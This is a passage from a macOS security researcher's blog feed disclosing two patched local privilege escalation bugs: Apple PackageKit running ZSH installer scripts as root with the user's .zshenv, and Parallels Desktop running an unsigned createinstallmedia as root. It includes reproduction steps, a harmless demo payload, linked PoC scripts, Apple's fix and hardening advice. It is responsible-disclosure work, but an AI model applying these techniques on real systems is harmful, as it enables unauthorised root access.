      <li>macOS 13.6.6 (22G630) and older</li>
      <li>macOS 12.7.4 (21H1123) and older</li>
      <li>Any version of macOS 11 or older</li>
    </ul>
  </li>
  <li>Proof of Concept:
    <ul>
      <li>Source Code: <a href="/Binaries/Apple%20PackageKit/pkg_exploit.py">pkg_exploit.py</a></li>
    </ul>
  </li>
  <li>CVE Associated: CVE-2024-27822</li>
  <li>Compensation: None</li>
</ul>

<hr />

<ul>
  <li>Terminology Used:
    <ul>
      <li>PKG: macOS package file (<code class="language-plaintext highlighter-rouge">.pkg</code>, contains install scripts, and files to install on the system.)</li>
      <li>Shebang: <code class="language-plaintext highlighter-rouge">#!</code> at the start of a script to specify the path to the interpreter to use.</li>
      <li>ZSH: The default shell interpreter in macOS (others include sh and bash)</li>
      <li>MDM: Mobile Device Management.</li>
      <li>Munki: An open source macOS software deployment tool.</li>
    </ul>
  </li>
</ul>

<hr />

<ul>
  <li><a href="#vulnerability-details">Vulnerability Details</a></li>
  <li><a href="#proof-of-concept">Proof of Concept</a></li>
  <li><a href="#vulnerability-discovery">Vulnerability Discovery</a>
    <ul>
      <li><a href="#internal-audit">Internal Audit</a></li>
      <li><a href="#surprise-macos-14.5-release">Surprise macOS 14.5 release</a></li>
      <li><a href="#timeline">Timeline</a></li>
    </ul>
  </li>
  <li><a href="#reverse-engineering-packagekit-apples-fix">Reverse Engineering PackageKit: Apple’s Fix</a>
    <ul>
      <li><a href="#1-startlisteningforconnectionstoservice">1. startListeningForConnectionsToService</a></li>
      <li><a href="#2-_scripttaskenvironmentforpackage">2. _scriptTaskEnvironmentForPackage</a></li>
      <li><a href="#3-binzsh">3. /bin/zsh</a></li>
      <li><a href="#4-binbash-bonus">4. /bin/bash (Bonus!)</a></li>
    </ul>
  </li>
  <li><a href="#developer-recommendations">Developer Recommendations</a></li>
  <li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="vulnerability-details">Vulnerability Details</h2>

<p>To put it simply: Apple’s <code class="language-plaintext highlighter-rouge">Installer.app</code>/<code class="language-plaintext highlighter-rouge">PackageKit.framework</code> spawns installation scripts embedded in PKGs as <strong>root</strong> in the current user’s enviroment. This results in the <a href="https://scriptingosx.com/2017/10/on-the-shebang/" target="_blank">shebangs</a> having their own special logic kick in, such as <code class="language-plaintext highlighter-rouge">#!/bin/zsh</code> loading the <strong><em>user’s</em></strong> <code class="language-plaintext highlighter-rouge">.zshenv</code> file while running with <strong><em>root</em></strong> permissions.</p>

<p>This allows for a malicious payload to be inserted into the <code class="language-plaintext highlighter-rouge">.zshenv</code> file, which would then be executed as root when a ZSH-based PKG was installed by the user.</p>

<ul>
  <li>Note: While the majority of PKGs do run as root, some PKGs may run as the current user, such as <a href="https://www.webex.com" target="_blank">WebEx</a>.</li>
</ul>

<p>This vulnerability could primarily be targeted at user-initiated PKG installations. <a href="https://developer.apple.com/documentation/devicemanagement/install_an_app" target="_blank">MDM (Mobile Device Management)</a> and <a href="https://github.com/munki/munki" target="_blank">Munki</a>-based installations are not affected by this vulnerability, as they are spawned under the root user’s context.</p>

<p>The main attack scenario with this vulnerability is that a <a href="https://www.beyondtrust.com/resources/glossary/logic-bomb" target="_blank">logic bomb-based payload</a> could simply wait for the user to install a ZSH-based PKG at any time, and then execute the payload and gain root access.</p>

<ul>
  <li>Fun fact: This vulnerability looks to be an extension of <a href="https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/" target="_blank">CVE-2021-30892: Shrootless</a> which abused the enviroment file in a similar manner.</li>
</ul>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>To demonstrate this vulnerability, all you need is a PKG with an installation script that has the <code class="language-plaintext highlighter-rouge">#!/bin/zsh</code> shebang. On script execution (ie. PKG installation), the script will load the user’s <code class="language-plaintext highlighter-rouge">.zshenv</code> file, which could have malicious code embedded in it.</p>

<p>Steps to Reproduce:</p>

<ol>
  <li>Inject a malicious payload into the <code class="language-plaintext highlighter-rouge">.zshenv</code> file:</li>
</ol>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/bin/osascript <span class="nt">-e</span> <span class="s2">"display dialog </span><span class="se">\"</span><span class="s2">Hello from malware!

Current user: </span><span class="si">$(</span>/usr/bin/whoami<span class="si">)</span><span class="s2">
UID:  </span><span class="nv">$UID</span><span class="s2">
EUID: </span><span class="nv">$EUID</span><span class="se">\"</span><span class="s2">"</span>
</code></pre></div></div>

<ol>
  <li>
    <p>Install a PKG with the <code class="language-plaintext highlighter-rouge">#!/bin/zsh</code> shebang. Ex. <a href="/Binaries/Apple%20PackageKit/Generic-ZSH.pkg">Generic-ZSH.pkg</a></p>
  </li>
  <li>
    <p>Watch the magic happen!</p>
  </li>
</ol>

<p><img src="/images/posts/2024-06-03-CVE-2024-27822/Exploit-macOS-14.5-B1.png" alt="" /></p>

<p>An automated PoC is available in <a href="/Binaries/Apple%20PackageKit/pkg_exploit.py">pkg_exploit.py</a>, which will create a dummy PKG and inject a payload into the <code class="language-plaintext highlighter-rouge">.zshenv</code> file.</p>

<h2 id="vulnerability-discovery">Vulnerability Discovery</h2>

<p>On March 14th, 2024, I had noticed a new CVE pop up on the <a href="https://www.macadmins.org" target="_blank">MacAdmins Slack</a>: <a href="https://github.com/root3nl/SupportApp/security/advisories/GHSA-jr78-247f-rhqc" target="_blank">CVE-2024-27301</a></p>

<p>As discussed earlier, this vulnerability is based on the <code class="language-plaintext highlighter-rouge">#!/bin/zsh</code> shebang in a PKG’s scripts.</p>

<p>When learning about this, I had assumed this is an inherent issue with using shells as shebangs, and so developers need to be more cautious about how they’re invoked (ie. ensure untrusted settings are never loaded).</p>

<h3 id="internal-audit">Internal Audit</h3>

<p>After reviewing the scripts used in our internal PKGs, we appended the <code class="language-plaintext highlighter-rouge">--no-rcs</code> parameter to the ZSH shebang. This prevents the scripts from loading the current user’s environment file, thus preventing the vulnerability.</p>

<p>We then reviewed each of our vendors’ PKGs. One of them, <a href="https://www.watchmanmonitoring.com" target="_blank">Watchman Monitoring</a>, had installers which were vulnerable to this exploit. We reported this to the vendor, and <a href="https://www.linkedin.com/in/yesthatallen">Allen Hancock</a>/Watchman Monitoring suggested that we to report this to Apple while they worked on the issue. We reported to Apple on the same day, March 14th, and Apple assigned it <code class="language-plaintext highlighter-rouge">OE1972568773511</code>.</p>

<ul>
  <li>Watchman Monitoring published revised installers on April 5th in version <a href="https://www.watchmanmonitoring.com/mac-client-7-1-3-101-improvements-for-filemaker-server-and-installation-scripts/" target="_blank">7.1.3.101</a>.</li>
</ul>

<h3 id="surprise-macos-145-release">Surprise macOS 14.5 release</h3>

<p>On May 15th I got a message congratulating me on a CVE? I was so confused, but checked the <a href="https://support.apple.com/HT214106" target="_blank">macOS 14.5 security notes</a> and there I was:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PackageKit
  Available for: macOS Sonoma
  Impact: An app may be able to gain root privileges
  Description: A logic issue was addressed with improved restrictions.
  CVE-2024-27822: Scott Johnson, Mykola Grymalyuk of RIPEDA Consulting, Jordy Witteman, and Carlos Polop
</code></pre></div></div>

<p>While I had no idea other researchers reported this vulnerability, I feel a bit odd being credited when in reality I only noticed another CVE and had a vendor request a report to Apple. Additionally since the initial report in March, I had not heard back from Apple on the status of the report.</p>

<p>However, I’ll take what I can get, and genuinely appreciate Apple crediting me instead of filing “duplicate” and moving on.</p>

<h3 id="timeline">Timeline</h3>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Sender</th>
      <th style="text-align: left">Topic</th>
      <th style="text-align: left">Date</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Discovery of ZSH-based PKG vulnerability.</td>
      <td style="text-align: left">March 14th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Initial report to Watchman Monitoring.</td>
      <td style="text-align: left">March 14th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Watchman</td>
      <td style="text-align: left">Triaged, recommend reporting to Apple.</td>
      <td style="text-align: left">March 14th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Initial report to Apple.</td>
      <td style="text-align: left">March 14th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Apple</td>
      <td style="text-align: left">Assigned <code class="language-plaintext highlighter-rouge">OE1972568773511</code>.</td>
      <td style="text-align: left">March 14th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Watchman</td>
      <td style="text-align: left">Revised shebangs.</td>
      <td style="text-align: left">April 5th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Apple</td>
      <td style="text-align: left">macOS 14.5 Beta 2 seeded to developers.</td>
      <td style="text-align: left">April 16th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Apple</td>
      <td style="text-align: left">macOS 14.5 released to the public.</td>
      <td style="text-align: left">May 13th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Apple</td>
      <td style="text-align: left">Approval for public disclosure.</td>
      <td style="text-align: left">May 28th, 2024</td>
    </tr>
  </tbody>
</table>

<h2 id="reverse-engineering-packagekit-apples-fix">Reverse Engineering PackageKit: Apple’s Fix</h2>

<p>Now here comes the fun part: How did Apple fix this vulnerability?</p>

<p>To start, let’s load up <code class="language-plaintext highlighter-rouge">PackageKit</code> in Hopper:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit
</code></pre></div></div>

<p><img src="/images/posts/2024-06-03-CVE-2024-27822/PackageKit-13.6.7-APPLE_PKGKIT_ESCALATING_ROOT.png" alt="" /></p>

<p>The first thing we’ll notice is that Apple added a new environment variable to <code class="language-plaintext highlighter-rouge">PackageKit</code>: <code class="language-plaintext highlighter-rouge">APPLE_PKGKIT_ESCALATING_ROOT</code>. This is used to determine if the package will be running as root or not, and is currently only referenced in two functions:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-[PKInstallDaemon startListeningForConnectionsToService:]
-[PKRunPackageScriptInstallOperation _scriptTaskEnvironmentForPackage:destination:scriptName:]
</code></pre></div></div>

<h3 id="1-startlisteningforconnectionstoservice">1. startListeningForConnectionsToService</h3>

<p>The first function is the main listener for the XPC service, and checks if the service is <code class="language-plaintext highlighter-rouge">com.apple.installd.user</code>. If it is not, it will attempt to set the <code class="language-plaintext highlighter-rouge">APPLE_PKGKIT_ESCALATING_ROOT</code> environment variable to <code class="language-plaintext highlighter-rouge">1</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">-</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span><span class="n">startListeningForConnectionsToService</span><span class="o">:</span><span class="p">(</span><span class="n">NSString</span> <span class="o">*</span><span class="p">)</span><span class="n">process</span> <span class="p">{</span>
  <span class="c1">/// ...</span>
  <span class="k">if</span> <span class="p">([</span><span class="n">process</span> <span class="n">isEqualToString</span><span class="o">:</span><span class="err">@</span><span class="s">"com.apple.installd.user"</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">setenv</span><span class="p">(</span><span class="s">"APPLE_PKGKIT_ESCALATING_ROOT"</span><span class="p">,</span> <span class="s">"1"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="c1">/// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="/images/posts/2024-06-03-CVE-2024-27822/PackageKit-13.6.7-startListeningForConnectionsToService.png" alt="" /></p>

<h3 id="2-_scripttaskenvironmentforpackage">2. _scriptTaskEnvironmentForPackage</h3>

<p>The second function simply passes the environment variable to the script’s environment, for end use:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">-</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">_scriptTaskEnvironmentForPackage</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">arg2</span> <span class="n">destination</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">arg3</span> <span class="n">scriptName</span><span class="o">:</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">arg4</span> <span class="p">{</span>
  <span class="c1">/// ...</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">rootEnv</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s">"APPLE_PKGKIT_ESCALATING_ROOT"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">rootEnv</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">NSString</span> <span class="o">*</span><span class="n">rootEnvStr</span> <span class="o">=</span> <span class="p">[</span><span class="n">NSString</span> <span class="n">stringWithUTF8String</span><span class="o">:</span><span class="n">rootEnv</span><span class="p">];</span>
    <span class="p">[</span><span class="n">environment</span> <span class="n">setObject</span><span class="o">:</span><span class="n">rootEnvStr</span> <span class="n">forKey</span><span class="o">:</span><span class="err">@</span><span class="s">"APPLE_PKGKIT_ESCALATING_ROOT"</span><span class="p">];</span>
  <span class="p">}</span>
  <span class="c1">/// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="/images/posts/2024-06-03-CVE-2024-27822/PackageKit-13.6.7-_scriptTaskEnvironmentForPackage.png" alt="" /></p>

<blockquote>
  <p>Wait, this doesn’t do anything…</p>
</blockquote>

<p>Correct! The actual fix is inside of <code class="language-plaintext highlighter-rouge">/bin/zsh</code>.</p>

<h3 id="3-binzsh">3. /bin/zsh</h3>

<p>If we load this binary up in Hopper, we notice that <code class="language-plaintext highlighter-rouge">_run_init_scripts()</code> now checks for the environment variable <code class="language-plaintext highlighter-rouge">APPLE_PKGKIT_ESCALATING_ROOT</code>. If it is set, it will skip loading the user’s <code class="language-plaintext highlighter-rouge">.zshenv</code> file:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">_run_init_scripts</span><span class="p">(</span><span class="kt">int</span> <span class="n">arg0</span><span class="p">,</span> <span class="kt">int</span> <span class="n">arg1</span><span class="p">)</span> <span class="p">{</span>
  <span class="c1">/// ...</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">getenv</span><span class="p">(</span><span class="s">"APPLE_PKGKIT_ESCALATING_ROOT"</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">_sourcehome</span><span class="p">(</span><span class="s">".zshenv"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="c1">/// ...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><img src="/images/posts/2024-06-03-CVE-2024-27822/ZSH-13.6.7-_run_init_scripts.png" alt="" /></p>

<p>Yup, the fix is as simple as that!</p>

<h3 id="4-binbash-bonus">4. /bin/bash (Bonus!)</h3>

<p><code class="language-plaintext highlighter-rouge">/bin/bash</code> wasn’t left out either! A similar check was added in the binary’s EntryPoint:
<img src="/images/posts/2024-06-03-CVE-2024-27822/Bash-14.5-EntryPoint.png" alt="" /></p>

<h2 id="developer-recommendations">Developer Recommendations</h2>

<p>Something for developers to keep in mind is that they should still ensure their working environment in scripts is clean and not loading untrusted settings. This is especially important for scripts that run as root, like in PKGs, as we can’t always rely on the operating system to protect us.</p>

<p>Ways to prevent loading untrusted settings:</p>

<ul>
  <li>SH: <code class="language-plaintext highlighter-rouge">#!/bin/sh</code> (<code class="language-plaintext highlighter-rouge">sh</code> in macOS won’t load any external settings without being explicitly told)</li>
  <li>ZSH: <code class="language-plaintext highlighter-rouge">#!/bin/zsh --no-rcs</code></li>
  <li>Bash: <code class="language-plaintext highlighter-rouge">#!/bin/bash --noprofile --norc</code></li>
</ul>

<p>Additionally, always specify the full path to binaries in scripts when possible, as <code class="language-plaintext highlighter-rouge">PATH</code> may not always be trusted and could point to a malicious binary.</p>

<ul>
  <li>ex. <code class="language-plaintext highlighter-rouge">/bin/mkdir</code> instead of <code class="language-plaintext highlighter-rouge">mkdir</code>
    <ul>
      <li>Use <code class="language-plaintext highlighter-rouge">where &lt;command&gt;</code> to find the full path to a command</li>
      <li>ex. <code class="language-plaintext highlighter-rouge">where osascript</code> will return <code class="language-plaintext highlighter-rouge">/usr/bin/osascript</code></li>
    </ul>
  </li>
</ul>

<p>Poor script:</p>
<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function </span>makeDirectory<span class="o">()</span> <span class="o">{</span>
  <span class="nb">mkdir</span> <span class="nv">$1</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Better script:</p>
<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function </span>makeDirectory<span class="o">()</span> <span class="o">{</span>
  /bin/mkdir <span class="nv">$1</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Would highly recommend reading Apple’s old documentation on shell scripting guidelines for more information:</p>
<ul>
  <li><a href="https://developer.apple.com/library/archive/documentation/OpenSource/Conceptual/ShellScripting/ShellScriptSecurity/ShellScriptSecurity.html#//apple_ref/doc/uid/TP40004268-CH8-SW1" target="_blank">Apple Developer Documentation Archive: Shell Script Security</a></li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>A simple exploit, but really interesting to see how Apple mitigated it through PackageKit/ZSH and Bash. This does however pose a concern for packages that don’t use the standard shell shebangs, such as <code class="language-plaintext highlighter-rouge">!#/usr/bin/perl</code>, as they could still load untrusted settings if written poorly.</p>

<p>Otherwise for those wanting more PKG-based vulnerabilities, highly recommend reading the following:</p>
<ul>
  <li><a href="https://twitter.com/yo_yo_yo_jbo">Jonathan Bar Or’s</a> <a href="https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/" target="_blank">CVE-2021-30892: Shrootless</a>.
    <ul>
      <li>Nearly identical exploit, but at least there they got a System Integrity Bypass 😛.</li>
    </ul>
  </li>
  <li><a href="https://theevilbit.github.io" target="_blank">Csaba Fitzl’s</a> <a href="https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts" target="_blank">How Apple Mitigates Vulnerabilities in Installer Scripts</a>.</li>
</ul>

<p>And thank you again to <a href="https://www.linkedin.com/in/yesthatallen" target="_blank">Allen Hancock</a> / <a href="https://www.watchmanmonitoring.com" target="_blank">Watchman Monitoring</a> for getting us to report this to Apple 🎉</p>]]></content><author><name>Mykola Grymalyuk</name></author><category term="macOS" /><summary type="html"><![CDATA[Another fun exploit! This time with local privilege escalation through Apple’s PackageKit.framework when running ZSH-based PKGs 🎉.]]></summary></entry><entry><title type="html">CVE-2024-34331: Parallels Repack Privilege Escalation</title><link href="/macos/2024/05/30/CVE-2024-34331.html" rel="alternate" type="text/html" title="CVE-2024-34331: Parallels Repack Privilege Escalation" /><published>2024-05-30T13:00:00+00:00</published><updated>2024-05-30T13:00:00+00:00</updated><id>/macos/2024/05/30/CVE-2024-34331</id><content type="html" xml:base="/macos/2024/05/30/CVE-2024-34331.html"><![CDATA[<p>Another day, another accidental exploit 🥳. This time abusing Parallels Desktop’s trust in macOS installers, gaining local privilege escalation!</p>

<hr />

<ul>
  <li>Affected Product: <a href="https://www.parallels.com/products/desktop/" target="_blank">Parallels Desktop for macOS</a></li>
  <li>Affected Hosts: <code class="language-plaintext highlighter-rouge">x86_64</code>-based machines (ie. Intel Macs)</li>
  <li>Affected versions: 16.0.0 through 19.3.0 (Originally reported against 19.2.1)
    <ul>
      <li><a href="https://archive.org/download/parallels-desktop-19.3.0-and-19.3.1/ParallelsDesktop-19.3.0-54924.dmg">19.3.0 - Archive.org</a></li>
    </ul>
  </li>
  <li>Resolved version: 19.3.1
    <ul>
      <li><a href="https://archive.org/download/parallels-desktop-19.3.0-and-19.3.1/ParallelsDesktop-19.3.1-54941.dmg">19.3.1 - Archive.org</a></li>
    </ul>
  </li>
  <li>Proof of Concept:
    <ul>
      <li>Source Code: <a href="/Binaries/Parallels%20Repack/parallels_exploit.py">parallels_exploit.py</a></li>
      <li>Video Demo: <a href="/Binaries/Parallels%20Repack/Exploit%20Demo.mov">Exploit Demo.mov</a></li>
    </ul>
  </li>
  <li>CVE Associated: CVE-2024-34331</li>
  <li>Compensation: None</li>
</ul>

<hr />

<ul>
  <li><a href="#vulnerability-discovery">Vulnerability Discovery</a>
    <ul>
      <li><a href="#magic-of-set-uid-bit">Magic of Set UID Bit</a></li>
      <li><a href="#wait-is-vmware-fusion-also-vulnerable-to-a-malicious-createinstallmedia">Wait, is VMware Fusion also vulnerable to a malicious createinstallmedia?</a></li>
      <li><a href="#intel-only-parallels-exploit">Intel-only Parallels Exploit</a></li>
    </ul>
  </li>
  <li><a href="#proof-of-concept">Proof of Concept</a></li>
  <li><a href="#reporting-process">Reporting Process</a></li>
  <li><a href="#verifying-parallels-work">Verifying Parallels’ Work</a></li>
  <li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="vulnerability-discovery">Vulnerability Discovery</h2>

<p>While working with <a href="https://kb.parallels.com/120093" target="_blank">Parallels’ Mass Deployment package</a>, I was testing against a 2018 Intel Mac mini and a macOS virtual machine. One odd thing I noticed during my tests was that a password prompt never appeared when it created my macOS VMs.</p>

<p>This was odd, as I was fairly certain Parallels was using Apple’s <a href="https://support.apple.com/101578" target="_blank"><code class="language-plaintext highlighter-rouge">createinstallmedia</code></a> internally which requires root privileges. Upon further inspection, I confirmed this through a script called <code class="language-plaintext highlighter-rouge">repack_osx_install_app.sh</code> located under <code class="language-plaintext highlighter-rouge">Parallels Desktop.app/Contents/Resources</code>:</p>

<p><img src="/images/posts/2024-05-30-CVE-2024-34331/Parallels%20Repack%20-%2019.3.0.png" alt="" /></p>

<p>And look at that, no signature verification! Looks like an easy point to exploit 🤔.</p>

<p>But the question remains, how’s Parallels running <code class="language-plaintext highlighter-rouge">createinstallmedia</code> as root without administrator credentials?</p>

<h3 id="magic-of-set-uid-bit">Magic of Set UID Bit</h3>

<p>Originally I had believed Parallels installed some kind of XPC service to pass commands as root, however after searching I could not find any launch services associated with Parallels…</p>

<p>After finding Reno Robert’s amazing report, <a href="https://www.zerodayinitiative.com/blog/2023/4/5/bash-privileged-mode-vulnerabilities-in-parallels-desktop-and-cdpath-handling-in-macos" target="_blank">Bash Privileged-Mode Vulnerabilities in Parallels Desktop and CDPATH handing in macOS</a>, I learned of a Unix trick called “Set UID bit” that a file can have.</p>

<p>What this S-Bit does is allow the executable to change its UID (user ID) to that of the file’s owner. And if the file’s owner is root, well now you get to run as root!</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find all files with S-Bit set</span>
/usr/bin/find <span class="nb">.</span> <span class="nt">-perm</span> <span class="nt">-u</span><span class="o">=</span>s
</code></pre></div></div>

<p><img src="/images/posts/2024-05-30-CVE-2024-34331/Parallels%20-%20Set%20UID.png" alt="" /></p>

<ul>
  <li>Note that AppKit-based applications are explicitly prohibited from using this on stock macOS installs, instead another process will need to run them (ex. <code class="language-plaintext highlighter-rouge">Parallels Services</code>)
    <ul>
      <li>Reference: <a href="https://lists.apple.com/archives/Cocoa-dev/2010/Jan/msg01418.html" target="_blank">Cocoa Dev: setuid/setgid apps disallowed</a></li>
    </ul>
  </li>
</ul>

<h3 id="wait-is-vmware-fusion-also-vulnerable-to-a-malicious-createinstallmedia">Wait, is VMware Fusion also vulnerable to a malicious createinstallmedia?</h3>

<p>Fun fact: Surprisingly not!</p>

<p>This is because of an odd script they developed called <code class="language-plaintext highlighter-rouge">Create macOS Installer.tool</code> located under <code class="language-plaintext highlighter-rouge">VMware Fusion.app/Contents/Library/</code> which attempts to create a valid installer manually and bypasses <code class="language-plaintext highlighter-rouge">createinstallmedia</code>’s usage. However, this means it’s broken for modern macOS installers. But hey, no local privilege escalation 🎉</p>

<h3 id="intel-only-parallels-exploit">Intel-only Parallels Exploit</h3>

<p>Something to keep in mind with this exploit is that it only affects x86_64-based hosts in macOS. This is due to the fact <code class="language-plaintext highlighter-rouge">createinstallmedia</code>-based installers are incompatible with Apple’s <a href="https://developer.apple.com/documentation/virtualization" target="_blank">Virtualization.framework stack on Apple Silicon</a>, instead requiring <a href="https://developer.apple.com/documentation/virtualization/installing_macos_on_a_virtual_machine#3880202" target="_blank">IPSW restore images</a>. Thus the vulnerable code path is never executed on Apple Silicon Macs.</p>

<blockquote>
  <p>What about versions of Parallels that didn’t check for Apple Silicon support?</p>
</blockquote>

<p>This specific edge case relates to the timeline Apple Silicon launched. If an application was released before Apple Silicon, it will just assume the M-series Mac is just like any other Intel Mac.</p>

<p>When looking at Parallels Desktop 15.1.5 (47309), we see <code class="language-plaintext highlighter-rouge">createinstallmedia</code> isn’t actually invoked inside of <code class="language-plaintext highlighter-rouge">repack_osx_install_app.sh</code>. Instead, it uses <code class="language-plaintext highlighter-rouge">hdiutil</code> to create a disk image similar to VMware Fusion. Only with Parallels Desktop 16, Parallels adds support for <code class="language-plaintext highlighter-rouge">createinstallmedia</code>-based VMs, and at the same time checks whether the host can use it. Thus preventing the exploit from ever being triggered on Apple Silicon Macs.</p>

<p>The below error message is generated by <code class="language-plaintext highlighter-rouge">ParallelsVirtualizationSDK.framework</code> when attempting to use a macOS installer on an Apple Silicon Mac:</p>

<p><img src="/images/posts/2024-05-30-CVE-2024-34331/Parallels%20Apple%20Silicon%20Error.png" style="width: 50%; margin: 0 auto; display: block;" /></p>

<h2 id="proof-of-concept">Proof of Concept</h2>

<p>Overall fairly straightforward:</p>

<ol>
  <li>Create a macOS Installer app, with a malicious payload under <code class="language-plaintext highlighter-rouge">Contents/Resources/createinstallmedia</code>.</li>
  <li>
    <p>Have Parallels Desktop open said application, and prepare it for installation.</p>

    <p>i. <code class="language-plaintext highlighter-rouge">prl_client_app</code> takes the malicious macOS Installer app</p>

    <p>ii. <code class="language-plaintext highlighter-rouge">prl_client_app</code> runs <code class="language-plaintext highlighter-rouge">Parallels Service</code></p>

    <p>iii. <code class="language-plaintext highlighter-rouge">Parallels Service</code> runs <code class="language-plaintext highlighter-rouge">setuid</code> raising privileges to root</p>

    <p>iv. <code class="language-plaintext highlighter-rouge">Parallels Service</code> runs <code class="language-plaintext highlighter-rouge">repack_osx_install_app.sh</code></p>

    <p>v. <code class="language-plaintext highlighter-rouge">repack_osx_install_app.sh</code> runs <code class="language-plaintext highlighter-rouge">createinstallmedia</code> as root</p>
  </li>
</ol>

<p><img src="/images/posts/2024-05-30-CVE-2024-34331/Exploit%20Diagram.png" alt="" /></p>

<p>I have this process automated through <a href="/Binaries/Parallels%20Repack/parallels_exploit.py" target="_blank"><code class="language-plaintext highlighter-rouge">parallels_exploit.py</code></a>, which creates a generic AppleScript payload to demonstrate root privileges and has Parallels load it.</p>

<p>And when we run said script, we get local privilege escalation!
<img src="/images/posts/2024-05-30-CVE-2024-34331/Parallels%20Exploit%20-%2019.3.0.png" alt="" /></p>

<h2 id="reporting-process">Reporting Process</h2>

<p>Filed through Parallels’ <a href="https://kb.parallels.com/125214" target="_blank">Responsible Disclosure system</a>, we advised Parallels to implement code signature verification before executing <code class="language-plaintext highlighter-rouge">createinstallmedia</code>.</p>

<ul>
  <li>Notice in the above site that a valid License or Proof of Purchase is required, that’s unfortunate…
    <ul>
      <li>Fun fact: My exploit works before even registering a product key!</li>
    </ul>
  </li>
</ul>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Sender</th>
      <th style="text-align: left">Topic</th>
      <th style="text-align: left">Date</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Initial Report - 90+30 Disclosure Policy.</td>
      <td style="text-align: left">February 14th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Parallels</td>
      <td style="text-align: left">Initial response, asking for files in an alternative method.</td>
      <td style="text-align: left">February 25th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Provided files.</td>
      <td style="text-align: left">February 25th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Parallels</td>
      <td style="text-align: left">Confirmed received files.</td>
      <td style="text-align: left">March 1st, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Parallels</td>
      <td style="text-align: left">Released Parallels Desktop 19.3.0, still vulnerable.</td>
      <td style="text-align: left">March 7th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Follow up.</td>
      <td style="text-align: left">April 17th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Parallels</td>
      <td style="text-align: left">Reminded internal team.</td>
      <td style="text-align: left">April 18th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">Parallels</td>
      <td style="text-align: left">Released Parallels Desktop 19.3.1 without notifying us.</td>
      <td style="text-align: left">April 30th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Confirmed vulnerability resolved</td>
      <td style="text-align: left">May 1st, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">MITRE</td>
      <td style="text-align: left">Assigned CVE-2024-34331</td>
      <td style="text-align: left">May 7th, 2024</td>
    </tr>
    <tr>
      <td style="text-align: left">RIPEDA</td>
      <td style="text-align: left">Public Disclosure</td>
      <td style="text-align: left">May 30th, 2024</td>
    </tr>
  </tbody>
</table>

<h2 id="verifying-parallels-work">Verifying Parallels’ Work</h2>

